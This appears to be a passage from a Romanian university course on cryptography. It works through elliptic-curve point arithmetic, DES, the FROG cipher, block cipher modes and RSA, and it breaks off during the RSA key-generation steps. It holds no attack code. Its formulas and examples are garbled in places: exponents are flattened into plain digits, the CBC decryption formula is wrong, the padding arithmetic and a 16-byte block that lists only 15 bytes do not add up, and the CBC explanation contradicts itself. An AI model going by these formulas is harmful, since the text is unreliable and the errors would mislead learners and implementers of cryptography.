Fiind date doua puncte pe E, P1(x1,y1) si P2(x2, y2), avem urmatoarele cazuri:

• daca x2 = x1 si y2 = -y1 atunci P1+P2=0

• altfel P1+P2=(x3, y3), unde:

x3 = λ2 –x1-x2, iar y3=λ(x1-x3)-y1, iar

[pic]

Operatia de adunare pe o curba eliptica este corespondenta operatiei de inmultire in sistemele cu chei publice obisnuite, iar adunarea multipla este corespondenta exponentierii modulare din acestea.

Desi regulile de calcul in grupul punctelor unei curbe eliptice par destul de complicate, aritmetica acestora poate fi implementata extrem de eficient, calculele in acest grup fiind realizate mult mai rapid decat cele din grupul Zp.

[pic]

Exemplu numeric:

Fie curba eliptica E: y2 =x3 +x+6 pe Z11. Sa calculam mai intai punctele lui E: pentru orice x [pic]Z11, se calculeaza z=x3+x+6 mod 11. Se testeaza daca z este un rest patratic (pentru un x dat) folosind criteriul lui Euler. Aplicand formula de calcul al radacinilor patrate ale unui rest patratic modulo p se obtine: ±z(11+1)/4 mod 11 = ± z3 mod 11. Tabelul de mai jos, ilustreaza calculul punctelor curbei eliptice E.

Deci, curba eliptica E admite 13 puncte. Ordinul grupului este prim, deci grupul este

ciclic. Presupunem ca se ia α=(2,7) generator al grupului. Se pot atunci calcula multiplii lui α (care sunt puteri ale lui α deoarece grupul este aditiv). Pentru a calcula 2α=(2,7)+(2,7) se calculeaza mai intai:

λ= (3x22+1) (2x7)-1 mod 11 = 2x3-1 mod 11 = 2x4 mod 11 = 8

Atunci, avem x3 = 8 2 –2-2 mod 11 = 5 si y3 = 8(2-5)-7 mod 11 = 2

In acelasi mod se calculeaza urmatorii multipli, obtinand :

α= (2,7) 5α =(3,6) 9α=(10,9)

2α=(5,2) 6α =(7,9) 10α=(8,8)

3α=(8,3) 7α =(7,2) 11α=(5,9)

4α=(10,2) 8α =(3,5) 12α=(2,4)

D) Implementari si produse existente

Sistemele de criptare bazate pe curbe eliptice au fost implementate de multe grupuri de specialisti din diferite colturi ale lumii. Firme mari si concerne s-au implicat in acest domeniu deosebit de promitator. Certicom Corp. realizeaza chiar la momentul actual un sondaj pentru determinarea tuturor implementarilor existente.

Cateva implementari s-au realizat la:

• Matsushita (Japonia);

• Certicom Corp. (Canada) ;

• NeXT Computer (SUA)’

• Siemens (Germania) ;

• Thompson (Franta) ;

• Universitatea Waterloo (Canada) ;

• Universitatea Catolica (Belgia) ;

S-au realizat si o serie de produse ce includ implementari ale criptosistemelor bazate pe curbe eliptice. Multi furnizori importanti de software si de produse pentru comunicatiile de date evalueaza, la momentul actual, implementarile sistemelor de curbe eliptice pentru integrarea in produsele lor.

De exemplu, Certicom Corp. implementeaza sistemele bazate pe curbe eliptice in

toate produsele sale, acestea incluzand:

• CARDSECRETS - module de securitatea informatiei pentru cartele PC;

• FAXSECRETS - dispozitiv de securizare pentru faxuri: furnizeaza criptare, autentificare mutuala si abilitatea de a pre-programa pana la cinci grupuri de faxuri sigure;

• MOBIUS - solutie integrata de securitate pentru aplicatiile ce necesita acces prin INTERNET sau PSTN.

Sistemele bazate pe curbe eliptice sunt deosebit de adecvate in urmatoarele categorii de implementari:

• Implementari pe retele prin modem fara fir. Aceste implementari folosesc procesoare 68330 ruland la 4 MHz pe dispozitivete mobile. Sistemele bazate pe curbe eliptice permit un interschimb de cheie rapid, in conformitate cu protocotul Diffie-Hellman, minimizeaza largimea benzii necesare pentru schimbul de chei si reduc timpul de calcul de la mai mult de 60s la sub 2s;

• Implementari de Server-e Web. In general, concentrarea calculelor criptografice pe server-ele Web creeaza gatuiri, iar limitarile in dimensiunea benzii pentru server-ul Web face ca aceasta sa fie scumpa. Din acest motiv, sistemele bazate pe curbe eliptice economisesc timp de calcul si largime de banda.

Compatibilitatea cu alte sisteme criptografice poate fi rezolvata prin negocierea algoritmului;

• Implementari de cartele cu circuite integrate. Pe cartelele cu circuite integrate, semnaturile RSA pun la ora actuala probleme mari. Folosind sistemele bazate pe curbe eliptice, pot fi realizate rapid semnaturi digitale puternice pe cartele standard (fara coprocesor). In aceIasi timp, folosirea sistemelor bazate pe curbe eliptice duce la minimizarea codului, cheii si spatiului de stocare pentru certificate, eliberand mai mult spatiu pentru aplicatie.[2]

9.6 Un exemplu de cifru simetric

 Cel mai celebru cifru simetric, DES (Data Encryption Standard) are deja peste 20 de ani. El este primul standard dedicat protectiei criptografice a datelor de calculator. A fost studiat de IBM incepand cu 1970 pentru NBS (National Bureau of Standards). Dupa cateva modificari realizate de NBS si NSA (National Security Agency), a fost publicat in 1977 si intitulat DES. Ulterior a fost adoptat de ANSI (American Standard Institute) ca standard ANSI X3.92 si intitulat DEA (Data Encryption Algorithm).

Privit in ansamblu, algoritmul DES nu este altceva decat o procesare ce urmareste "ascunderea" mesajului prin doua cai: confuzie si difuzie. Constructia fundamentala a unui bloc DES este o combinatie a unor tehnici - substitutie urmata de o permutare - executate asupra textului, bazate pe o cheie. Aceasta constructie este cunoscuta ca runda. DES este compus din 16 runde: aceeasi combinatie de tehnici se aplica de 16 ori asupra blocului de text clar. Algoritmul este compus dintr-un set de permutari, substitutii si suma mod 2, aplicate iterativ de 16 ori, pe un bloc de date de 64 biti, prin folosirea in fiecare runda a unei chei diferite de 48 de biti, extrase initial dintr-o cheie furnizata de utilizator de 56 biti; datele sunt impartite in blocuri de 64 de biti si criptate fara a se modifica lungimea lor.

Progresele tehnologice din cei peste 20 de ani au impus inlocuirea DES-ului care a devenit vulnerabil. S-a demonstrat de curand ca, folosind o masina paralela complexa ce costa 250.000 USD, se poate gasi, intr-un timp de aproximativ 60 de ore, o cheie de 56 de biti cu care a fost criptat un bloc de text clar. Ca urmare, s-a lansat anul trecut un concurs de cifruri pentru realizarea asa numitului AES (Advanced Encryption Standard). Pana la ora actuala exista deja 16 propuneri de algoritmi criptografici simetrici pentru AES. Pentru a intelege mai bine cum este "in interior" un sistem de criptare, prezentam cifrul FROG, realizat de o echipa de la TecApro International. Acesta, ca orice alt cifru simetric isi propune sa transforme textul clar in text cifrat, printr-un proces de calcul care sa creeze confuzie si difuzie.

FROG cripteaza blocuri de intrare de 16 octeti in blocuri de iesire cu aceeasi lungime, sub controlul unei chei criptografice utilizator, a carei lungime poate varia intre 5 si 125 de octeti.

Cifrul realizeaza 8 iteratii (runde) in prelucrarea fiecarui bloc de intrare. Fiecare iteratie foloseste o cheie interna, generata din cheia de cifrare si care este o structura de date cu 8 inregistrari, fiecare avand 3 campuri:

- xorBu - un vector de 16 octeti folosit in sau exclusiv;

- substPermu - un vector de 256 octeti folosit ca tabela de substitutii;

- bombPermu - un vector de 16 octeti folosit in a referi diferite pozitii in bloc (cu valori intre 0 si 15), pentru a realiza o permutare.

Fiecare iteratie traverseaza secvential blocul de 16 octeti, de la stanga la dreapta si calculeaza cu fiecare octet 4 operatii de baza: 2 implementeaza confuzie, celelalte 2 difuzie:

- Pasul 1: SAU-EXCLUSIV(XOR) intre octetul curent din bloc si octetul curent din campul xorBu.

- Pasul 2: Inlocuirea octetului calculat la pasul 1 prin octetul din tabela de substitutie substPermu, indexata cu octetul calculat la pasul 1.

- Pasul 3: Modificarea octetului urmator din bloc prin XOR cu octetul calculat la pasul 2. Cand se ajunge la sfarsitul blocului, octetul urmator este considerat primul.

- Pasul 4: Se foloseste octetul curent al lui bombPermu pentru a defini o pozitie in bloc. Se modifica octetul din acea pozitie facand XOR cu octetul calculat in pasul 2.

Campul bombPermu este o permutare, a carei lungime a ciclului trebuie sa fie egala cu dimensiunea blocului (16).

Un exemplu numeric va clarifica modul de lucru al cifrului. Toate valorile sunt date in hexazecimal, incepand cu cel mai semnificativ octet. Vom defini o cheie interna cu urmatoarele valori:

xorBu: 05 f0 a3 ...

substPermu: a2 16 08 bb 03 f1 ...

bombPermu: 03 0f 00 ...

Sa realizam cifrarea urmatorului bloc de 16 octeti de text clar:

00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0f

si sa aratam starile intermediare ale blocului dupa fiecare pas.

Prelucrarea octetului din pozitia 0:

Pasul 1:

05 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0f

Pasul 2:

f1 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0f

Pasul 3:

f1 f0 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0f

Pasul 4:

f1 f0 02 f2 04 05 06 07 08 09 0a 0b 0c 0d 0f

Prelucrarea octetului din pozitia 1:

Pasul 1:

f1 00 02 f2 04 05 06 07 08 09 0a 0b 0c 0d 0f

Pasul 2:

f1 a2 02 f2 04 05 06 07 08 09 0a 0b 0c 0d 0f

Pasul 3:

f1 a2 a0 f2 04 05 06 07 08 09 0a 0b 0c 0d 0f

Pasul 4:

f1 a2 a0 f2 04 05 06 07 08 09 0a 0b 0c 0d ad

Prelucrarea octetului din pozitia 2:

Pasul 1:

f1 a2 03 f2 04 05 06 07 08 09 0a 0b 0c 0d ad

Pasul 2:

f1 a2 bb f2 04 05 06 07 08 09 0a 0b 0c 0d ad

Pasul 3:

f1 a2 bb 49 04 05 06 07 08 09 0a 0b 0c 0d ad

Pasul 4:

4a a2 bb 49 04 05 06 07 08 09 0a 0b 0c 0d ad

Procesul continua in aceeasi maniera pentru toti cei 16 octeti. Procesul se repeta cu alte chei interne de 8 ori, adica se executa 8 runde identice.

Decriptarea se face parcurgand cheia interna si blocul cifrat, in sens invers. Cheia interna folosita este aceeasi, cu exceptia tabelelor de substitutie - substPermu - care sunt inlocuite de inversele lor.

Un lucru important in evolutia algoritmului il reprezinta initializarea cheii interne. FROG calculeaza cheia interna pe baza cheii criptografice furnizate de user. Fiecare iteratie foloseste un articol de cheie interna cu 16+256+16 = 288 octeti. Ca urmare, cheia interna totala are 288 * 8 = 2304 octeti. Pentru generarea ei se folosesc doi algoritmi:

1. Primul algoritm (functia hashKey) foloseste cheia user (simpleKey) si o constanta interna (randomSeed) si produce un tablou de 2304 octeti (numit randomKey), printr-un algoritm complex in 5 pasi.

2. Al doilea algoritm (functia makeInternalKey) ia tabloul arbitrar de 2304 octeti, generat de primul algoritm, si il transforma intr-o structura ce cuprinde cele 3 campuri. Se calculeaza corect vectorii de permutare substPermu si bombPermu pentru toate cele 8 inregistrari.

Cel mai eficient atac la un astfel de cifru este acela ce incearca deducerea cheii criptografice prin cautare exhaustiva. Factorul de munca necesar este foarte mare (prohibitiv): O(2(N-1) ), unde N reprezinta numarul de biti ai cheii utilizator. De exemplu O(2 (255) ) pentru o cheie de 32 de caractere (256 biti).

In practica criptarii, apare necesitatea criptarii unor informatii de lungime oarecare (fisiere, mesaje, e-mail, parole etc.). In acest scop, exista doua moduri principale de utilizare a cifrurilor:

Modurile de criptare practica constituie combinatii ale celor doua tipuri de baza:

Cifrare carte de coduri (Electronic Codebook-ECB)

ECB este cea mai obisnuita cale de cifrare bloc, prin care un bloc de text clar se transforma intr-un bloc de text cifrat. De vreme ce acelasi bloc de text clar se cifreaza intotdeauna in acelasi bloc de text cifrat, teoretic este posibila crearea unei carti de coduri in care sa se faca asocierea text clar - text cifrat. Pentru blocuri de 64 de biti rezulta un numar de 264 de intrari in cartea de coduri - marime mult prea mare pentru a permite memorarea si manipularea lor. In plus, fiecare cheie necesita propria carte de coduri. Daca notam cu Ci blocurile de criptograma, cu Pi blocurile de text clar si cu K cheia, avem:

la criptare: Ci = Ek (Pi)

la decriptare: Pi = Dk (Ci)

S-a notat cu Ek functia de cifrare ( de exemplu FROG sau DES sau IDEA) cu cheia K si cu Dk functia de decriptare cu aceiasi cheie. Acesta este cel mai simplu mod de lucru, in care fiecare bloc de text clar este cifrat independent. Fisierul ce se cripteaza nu trebuie sa intre la cifrare liniar, de la inceput la sfarsit. Criptarea se poate face luand aleator blocuri din cadrul fisierului. Acest lucru este important pentru fisierele criptate care sunt accesate aleator, ca de exemplu in cazul bazelor de date. Daca o baza de date este criptata cu ECB atunci orice inregistrare poate fi adaugata, stearsa, criptata sau decriptata independent de celelalte - considerand ca inregistrarile contin un numar intreg de blocuri criptate.

Problema ECB-ului poate fi formulata astfel: un criptanalist, care detine textul clar si textul cifrat echivalent pentru cateva mesaje, poate realiza o carte de coduri fara a cunoaste cheia? In exprimarea curenta sunt fragmente de mesaje care tind sa se repete. Mesajele de comunicatie intre calculatoare, cum ar fi posta electronica, au structuri regulate. Mesajele pot avea structuri redundante sau siruri lungi de spatii sau zerouri. Daca criptanalistul realizeaza ca mesajul in clar 5e081bc5 se cripteaza in textul cifrat 7ea593a4, el poate decripta imediat respectivul mesaj acolo unde il intalneste. Mai mult, daca mesajele criptate au un numar mare de redundante si acestea tind sa apara in aceleasi locuri in mesaje diferite, atunci un criptanalist poate estima o serie de informatii. El poate intensifica atacul statistic asupra textului de baza, indiferent de taria cifrului bloc.

Cele mai multe mesaje nu se impart exact in blocuri de 64 de biti (sau orice alta marime), de regula ramanand un bloc scurt la sfarsitul mesajului. ECB necesita blocuri de 64 de biti. Aceasta problema se reolva prin Completarea blocurilor (padding). Se completeaza ultimul bloc cu un model zero-unu, alternand cifrele de 1 si 0, astfel incat blocul sa devina complet. Deoarece este nevoie la decriptare de stergerea acestor surplusuri, ultimul octet al ultimului bloc va contine numarul de octeti adaugati. De exemplu, un mesaj care dupa impartirea in blocuri de 64 de biti ramane cu ultimul bloc de doar 3 octeti, se completeaza cu 4 octeti, iar ultimul octet va contine numarul 5. La decriptare, se citeste ultimul octet si se sterg ultimii 5 octeti.

Cifrarea bloc cu inlantuire (Cipher Block Chaining-CBC)

Acest mod adauga mecanismului de criptare un bloc de reactie. Rezultatul criptarii unui bloc anterior revine prin bucla si intervine in criptarea blocului curent. In felul acesta textul cifrat nu mai depinde doar de textul clar, ci si de cifrarea blocului anterior.

In CBC, textul clar, inainte de a intra in blocul de criptare propriu-zis, este insumat modulo 2 (XOR) cu blocul de text cifrat anterior.

Procesul se poate nota astfel:

la criptare: Ci = Ek (Pi Ĺ Ci-1)

la decriptare: Pi = Ci-1 Ĺ Dk(Ci-1)

CBC transforma acelasi text in blocuri de text cifrat, diferite. Doua mesaje identice se vor transforma practic in acelasi mesaj criptat. Mai mult, doua mesaje care incep la fel, vor fi criptate identic pana la prima diferenta.

Prevenirea acestui lucru se poate face criptand primul bloc cu un vector de date aleator. Acest bloc de date aleatoare se numeste vector de initializare al schemei, variabila de initializare sau valoare initiala pentru inlantuire. Vectorul de initializare nu are nici un inteles de sine statator, locul lui este dat de faptul ca poate produce criptarea unica a oricarui mesaj, chiar si a mesajelor identice. Cand receptorul decripteaza acest bloc, el il utilizeaza pentru initializarea registrului buclei de reactie.

O marca de timp constituie un bun exemplu de vector de initializare. Prin adaugarea vectorului de initializare, mesaje de text clar identice vor fi criptate diferit. Astfel, pentru o persoana indiscreta este imposibil sa faca un bloc replay si mult mai dificil sa realizeze o carte de coduri. Vectorul de initializare nu trebuie sa fie secret; el poate fi transmis in clar impreuna cu mesajul cifrat.

Cifrarea secventiala (Stream Ciphers)

Prin acest mod, textul clar se converteste octet cu octet in text cifrat. Modelul general este dat in figura 2. Un generator de chei genereaza un sir de octeti K1, K2, ..., Ki. Cu acest sir cheie se face XOR (suma modulo 2) cu sirul de octeti ai textului clar, P1,P2,...,Pi, pentru a produce un sir de text criptat:

la criptare: Ci = Pi Ĺ Ki

La decriptare, rezultatul este obtinut din efectuarea unui XOR intre criptograma si aceeasi cheie curenta produsa de acelasi generator:

la decriptare: Pi = Ci Ĺ Ki

Securitatea sistemului depinde in intregime de generatorul de chei. In practica se foloseste o functie de criptare simetrica (FROG sau DES) drept generator de cheie.

Criptarea tripla cu doua chei (Triple Encryption)

O idee mai "tare", prelucreaza un bloc de trei ori, folosind doar doua chei. Se recomanda ca expeditorul mesajului sa cripteze prima data cu prima cheie, apoi sa decripteze cu cea de-a doua si in final sa cripteze din nou cu prima cheie. Algoritmul poate fi oricare dintre cele simetrice (DES, IDEA, FROG etc.). La decriptare, destinatarul urmeaza procesul invers: decriptare cu prima cheie, criptare cu cea de-a doua, decriptare cu prima cheie:

C = Ek1 (Dk2 (Ek1 (P)))

P = Dk1 (Ek2 (Dk1 (C)))

Aceasta metoda se mai numeste si EDE (Encrypt-Decrypt-Encrypt). Daca algoritmul utilizeaza o cheie de n biti, atunci schema va folosi o cheie de 2n biti. Modelul criptare-decriptare a fost adaugat la standardul DES in X9.17 si in standardele ISO 8732.

Utilizarea unui algoritm de compresie impreuna cu criptarea are sens din doua motive:

- criptarea este mare consumatoare de timp; compresia unui fisier anterior operatiei de criptare mareste simtitor viteza procesului;

- in "spargerea" unui cifru se pot folosi redundantele din textul clar; la compresie numarul acestora se reduce.

Este important sa se efectueze compresia inainte de criptare, deoarece daca algoritmul de cifrare este bun, textul cifrat nu va fi compresibil, el fiind un un sir de date aleatoare.

9.6.1 Cum alegem criptarea in aplicatiile din retele

Putem privi securitatea (datelor, comunicatiilor, in general a oricarui tip de informatii) ca un lant. Securitatea intregului sistem este o combinatie puternica de legaturi slabe.

Totul trebuie securizat: algoritmii criptografici, protocoalele, programele de administrare etc. Criptografia este doar o parte a securitatii; ea acopera problematica realizarii securitatii unui sistem, ceea ce este diferit de ceea ce inseamna realizarea unui sistem securizat. Traditionala imagine a criptografiei, ca spion in tehnologie, este destul de departe de realitate.

Peste 99% din aplicatiile criptografice utilizate in lume nu protejeaza secrete militare; ele sunt intalnite in banci, plati-TV, taxe de drum, acces la terminale, contoare de electricitate, carduri etc.

Rolul criptografiei in aceste aplicatii este de a impiedica furturile si inselaciunile. In cele mai multe dintre aceste aplicatii nu s-a utilizat eficient criptografia, atacurile reusite neavand nimic in comun cu criptanaliza. Chiar si NSA (National Security Agency) a admis ca marea parte a erorilor, aparute in activitatile sale, provin din erorile de implementare si nu din algoritmi sau protocoale. In aceste conditii, nu conteaza cat de buna a fost criptografia, atacurile reusite anuland acest lucru si speculand erorile de implementare.

Pentru alegerea si evaluarea unui algoritm, exista o serie de variante:

- se poate alege un algoritm publicat, in ideea ca un astfel de algoritm a fost analizat de multi criptanalisti si, daca inca nu a fost spart, el este bun;

- se poate utiliza un produs al unui fabricant, acesta din urma avand interesul de a realiza produse cat mai performante;

- se poate apela la serviciile unui specialist in domeniu;

- se poate scrie un algoritm propriu.

Fiecare dintre aceste alternative este problematica, insa prima este cea mai pretabila, restul putand genera probleme. Multi dintre cei care fac apel la consultanti nu au de obicei notiuni despre criptare. Pentru NSA lucreaza cativa dintre cei mai buni criptanalisti, dar acestia cu siguranta nu vor spune tot ceea ce stiu. Chiar daca sunteti un geniu, a scrie un algoritm si a-l utiliza fara a afla opiniile altora, constituie o greseala.

Algoritmii prezentati in diferite lucrari sunt publici. Cei mai multi au aparut in literatura de specialitate si majoritatea au fost criptanalizati de experti in domeniu. Literatura de specialitate prezinta rezultatele testarilor si studiilor, atat pe cele pozitive cat si pe cele negative. Atentie insa la algoritmii de export! Algoritmii pentru export in afara S.U.A. trebuie aprobati de guvern (concret, de catre NSA). Este destul de raspandita opinia ca algoritmii autorizati de catre NSA pot fi sparti de catre aceasta. Exista cateva lucruri pe care NSA evita sa le spuna firmelor straine carora le aproba folosirea produselor criptografice:

- punerea cate unui bit de cheie, la un moment dat, in textul cifrat;

- scurtarea cheii la o dimensiune mult mai mica; de exemplu, daca algoritmul admite o cheie de 8 octeti, din cheie sa se foloseasca numai 4 octeti;

- criptarea unui header fixat sau a unui sir aleator la inceputul fiecarui mesaj criptat, facilitandu-se atacul prin text clar cunoscut.

NSA pastreaza o copie a codului sursa al programelor criptografice aprobate pentru export, insa detaliile algoritmului raman secrete. Cu certitudine, nimeni nu a facut publica vreuna dintre aceste slabiciuni, insa trebuie sa se stie aceasta cand se cumpara un produs criptografic din S.U.A. care a fost aprobat pentru export.[3]

9.7 Bibliografie

[1] –

[2] – biblioteca.ase.ro

[3] –

Capitolul 10

Criptografia moderna: Algoritmi criptografici cu cheie publica, Sisteme cu chei in custodie, Certificate digitale

MIHAILESCU PATRICIA

10.1 Introducere

In sistemele de criptare clasice:

• metoda de decriptare dk si metoda de criptare ek coincid sau se pot deduce imediat una din alta.

• Publicarea lui ek face sistemul extrem de vulnerabil.

• Necesita o comunicare prealabila a cheii intre Alice si Bob printr-un canal sigur, inainte de transmiterea mesajului criptat.

Sistemele de criptare cu cheie publica fac ”imposibila” obtinerea cheii dK plecand de la eK. Oricine poate cripta un mesaj, cheia de criptare fiind publica.

Ideea de sistem de criptare cu cheie publica apare in 1976 si este prezentata de Diffie si Hellman.

Se pare ca prima idee de cheie publica este schitata in ianuarie 1970 de catre britanicul James Ellis – membru in Communication - Electronic Security Group – in articolul The possibility of nonsecret encryption.

Informatia este facuta publica de catre British Government Communications Headquarters abia in 1997.

10.1.1 Principalele sisteme de criptare cu cheie publica sunt:

• Sistemul RSA: se bazeaza pe dificultatea descompunerii in factori primi a numerelor mari (de sute de cifre).

• Sistemul El Gamal: se bazeaza pe dificultatea calculului logaritmului discret intr-un corp finit.

• Sistemul Merkle - Hellman: primul sistem definit cu cheie publica, bazat pe problema {0, 1} a rucsacului, problema NP - completa.

• Sistemul McEliece: este bazat pe teoria algebrica a codurilor, decodificarea unui cod liniar fiind de asemenea o problema NP - completa.

• Curbe eliptice: Sunt sisteme de criptare care isi desfasoara calculele pe multimea punctelor unei curbe eliptice (in locul unui inel finit Zn).

Un sistem cu cheie publica nu este sigur neconditionat; oricine - putand sa efectueze criptari, nu este exclus sa gaseasca anumite puncte slabe care sa ii permita sa si decripteze mesajele.

10.1.2 Principii generale de construire a unui sistem de criptare cu cheie publica:

1. Se incepe cu o problema dificila P; rezolvarea lui P este imposibila in conformitate cu teoria complexitatii (nu se cunoaste nici un algoritm de complexitate polinomiala care sa rezolve P).

2. Se selecteaza o subproblema P1 a lui P, rezolvabila in timp polinomial (preferabil liniar).

3. Se aplica o transformare problemei P1 astfel incat sa se obtina o problema P2 care sa nu semene cu P0 dar sa fie foarte apropiata de problema P.

4. Se face publica problema P2 si se descrie algoritmul de criptare bazat pe aceasta. Informatia referitoare la modul in care se obtine P1 din P2 este o trapa secreta.

5. Se construiesc detaliile sistemului de criptare, astfel incat principiile de lucru sa difere esential pentru destinatar fata de criptanalist; astfel, in timp ce primul va folosi trapa secreta si va rezolva problema P1, al doilea va trebui sa rezolve problema P2, imposibila datorita asemanarii ei cu problema P.

In functie de aceste principii generale, apar in detalii de constructie multe alte probleme pe care constructorii sistemelor de criptare trebuie sa le rezolve.

10.1.3 Securitatea sistemelor de criptare cu cheie publica

Sistemele de criptare cu cheie publica nu necesita transmiterea cheii.

Un contact prealabil intre Alice si Bob pentru a pune la punct detaliile sistemului de criptare este inutil.

Un sistem de criptare cu cheie publica nu ofera insa o securitate absoluta.

Oscar poate oricand sa dispuna de atacuri pasive sau active. Anume:

• Daca criptanalistul dispune de un text criptat y, el poate cauta exhaustiv un text clar x astfel ca eK(x) = y. Singura aparare contra unui astfel de atac consta in gradul de

complexitate al sistemului.

• Un criptanalist activ poate efectua cu succes un atac de tipul meet in the middle.

Sa presupunem ca 2 persoane doresc sa stabileasca un contact.

Ei fac publice cheile de criptare eA respectiv eB.

Daca contactul este nepersonalizat, criptanalistul poate controla mesajele schimbate intre cei doi, in felul urmator:

1. Criptanalistul ”opacizeaza” printr-un mijloc oarecare aceste chei, si trimite expeditorului cheia eB1 ca din partea destinatarului; substituie – similar – pentru destinatar cheia eA cu eA1.

2. Fie m mesajul pe care expeditorul vrea sa il trimita destinatarului. Expeditorul va cripta si va trimite y1 = eB1(m).

3. Criptanalistul intercepteaza mesajul (toate canalele sunt nesigure) si afla m = dB1(y1).

4. Criptanalistul recripteaza y = eB(m) si trimite y destinatarului.

Bineinteles, criptanalistul poate modifica sau intarzia mesajul m daca doreste.

In toate sistemele de criptare cu cheie publica apare necesitatea autentificarii mesajului sau a expeditorului, precum si aceea a confidentialitatii.

Confidentialitatea asigura accesul la informatie numai partilor autorizate de a avea acest acces.

Autentificarea (”authentes” = author) este procesul prin care un calculator (program de calculator sau alt utilizator) incearca sa confirme unui destinatar ca mesajul primit de acesta vine (sau nu vine) din partea sa.

Metodele prin care un expeditor uman se poate autentifica sunt clasificate in:

1. ”ceva ce utilizatorul este” (de exemplu amprente digitale, de retina, de voce, secventa DNA, recunoasterea semnaturii, identificatori biometrici).

2. ”ceva de utilizatorul are” (de exemplu card ID, date de securitate soft pe calculator sau telefon).

3. ”ceva ce utilizatorul stie” (de exemplu un password, o parola, un numar de identificare - PIN).

4. Orice combinatie intre metodele anterioare (de exemplu un card bancar cu PIN asigura o dubla autentificare).

Integritatea este siguranta ca datele la care se refera un utilizator pot fi accesate si pot fi modificate numai de cei autorizati sa o faca.

In general integritatea poate fi compromisa in doua moduri:

1. Prin alterare intentionata (de exemplu modificarea unui cont bancar, a unei adrese de e-mail, a unui document de identitate);

2. in mod accidental (transmisii perturbate de zgomote de canal, zgarierea hard discului).

O modalitate frecvent utilizata pentru autentificarea mesajelor este folosirea codurilor de autentificare.

Exemplu : MAC-ul (Message Authentication Code) este o varianta prin care se poate asigura atat autenticitatea cat si integritatea mesajului.

Daca se solicita si autentificarea partenerilor, atunci se foloseste de obicei semnatura electronica.

10.1.4 Comparatie intre criptarea simetrica si cea cu cheie publica

Avantaje ale sistemelor de criptare cu cheie simetrica:

1. Pot transmite volume mari de date. Exista implementari hard care pentru unele sisteme de criptare pot asigura rate de criptare de sute de mega-octeti pe secunda (sunt si implementari soft cu rate de mega-octeti pe secunda).

2. Cheile sunt relativ scurte.

3. Pot fi folosite ca baza de constructie a diverselor mecanisme de criptare, cum ar fi generatori de numere pseudo-aleatoare, generatori de functii de dispersie, scheme de semnatura.

4. Prin compunere pot conduce la sisteme de criptare puternice.

5. Au o istorie bogata in evenimente si experienta.

Dezavantaje ale sistemelor de criptare cu cheie simetrica:

1. Cheia trebuie sa ramana permament secreta in (cel putin) doua locuri distincte.

2. Cu cat lungimea unui mesaj criptat este mai mare, cu atat el este mai usor de spart.

3. in retele mari, o gestionare a cheilor devine extrem de dificila.

4. Necesita un canal sigur de comunicare, cel putin pentru transmiterea cheii. Lucru dificil pentru sistemele care necesita schimbari frecvente ale cheilor de criptare/decriptare.

10.1.5 Comparatie intre criptarea simetrica si cea cu cheie publica

Avantaje ale sistemelor de criptare cu cheie publica

1. Sistemul este ideal pentru transmiterea informatiei prin canale nesigure.

2. Sistemele cu cheie publica sunt simplu de definit si elegante matematic.

3. Doar cheia de decriptare trebuie tinuta secreta, la un singur punct (destinatar).

4. In functie de modul de utilizare, o pereche de chei (publica, privata) poate fi pastrata o perioada mai lunga de timp.

5. Conduc la aplicatii de mare intindere: semnaturi electronice, algoritmi de autentificare, componente de comert electronic etc.

Dezavantaje ale sistemelor de criptare cu cheie publica:

1. Sunt semnificativ mai lente decat sistemele simetrice.

2. Sunt necesare chei de lungimi mult mai mari.

3. Nu se poate garanta securitatea absoluta a nici unei scheme de criptare cu cheie publica.

4. Implementarea trebuie realizata cu foarte mare grija.

Sisteme cu grad ridicat teoretic de securitate pot fi sparte usor printr-o implementare neglijenta.

Dupa cum se observa, cele doua clase de sisteme de criptare dispun de o serie de avantaje complementare.

Acest lucru face ca ele sa fie folosite combinat.

Multe sisteme de criptare incep comunicarea transmitand via un sistem cu cheie publica, cheia unui sistem simetric.

In faza a doua, mesajele sunt criptate folosind sistemul simetricde criptare.

Aceasta asigura o viteza mult mai mare de transmitere si un spor de autenticitate a mesajelor.

10.1.6 Sistemul de criptare RSA

RSA (Rivest - Shamir - Adleman) este prezentat in 1977 de Ron Rivest, Adi Shamir si Len Adleman in cadrul unui proiect de cercetare la MIT.

Dupa declasificarea in 1997 a unor documente din Marea Britanie, se pare ca matematicianul Clifford Cocks a elaborat in 1973 un sistem echivalent, prezentat intr-un document intern GCHQ (Government Communications Headquarters).

Avantaj: Modalitate foarte simpla de criptare si decriptare, care se realizeaza similar – cu aceleasi module de calcul (proprietate intalnita in special la multe sisteme simetrice).

Fie p, q numere prime impare distincte si n = pq.

Indicatorul sau Euler este Φ (n) = (p − 1) (q − 1).

Fie P = C= Zn. Se defineste :

K= {(n, p, q, a, b)| n = pq, ab ≡ 1 (mod Φ (n))}

Pentru K = (n, p, q, a, b) se definesc (oricare ar fi x, y € Zn):

eK(x) = xb (mod n)

si

dK(y) = ya (mod n)

Valorile n si b sunt publice, iar p, q si a sunt secrete

Deoarece ab ≡ 1 (mod Φ(n)), avem ab = tΦ(n) + 1.

Atunci, pentru un x apartine Zn* = Zn \ {0}, putem scrie (calcule in Zn):

(xb)a ≡ x tΦ(n)+1 ≡(x Φ(n) ) t x ≡ 1t x = x

Pentru x = 0 afirmatia este banala.

Exemplu: Bob alege p = 101, q = 113.

Atunci n = 11413, Φ(n) = 11200.

Deoarece 11200 = 26527, un numar b poate fi utilizat ca exponent de criptare daca si numai daca nu este divizibil cu 2, 5 sau 7.

Fie de exemplu b = 3533. Avem atunci b−1 = 6597 (mod 11200).

Deci, exponentul (secret) de decriptare este a = 6597.

Bob face public n = 11413 ¸si b = 3533.

Daca Alice doreste sa-i transmita lui Bob mesajul 9726, ea calculeaza

97263533 (mod 11413) = 5761

si trimite prin canal textul criptat 5761. Cand Bob primeste acest numar, el determina

57616597 (mod 11413) = 9726

Securitatea sistemului de criptare RSA se bazeaza pe ipoteza ca functia eK(x)=xb mod n este neinversabila din punct de vedere al complexitatii, deci este imposibil pentru criptanalist sa o determine.

Trapa secreta de care dispune destinatarul pentru decriptare este descompunerea n = pq.

Deoarece Bob stie aceasta factorizare, el poate calcula Φ (n) = (p−1)(q −1) si apoi determina exponentul de decriptare a folosind algoritmul lui Euclid extins.

10.1.7 Implementarea sistemului RSA

Pentru a realiza criptarea, destinatarul trebuie sa efectueze urmatorii pasi:

1. Genereaza doua numere prime mari p, q;

2. Calculeaza n = pq si Φ (n) = (p − 1) (q − 1);

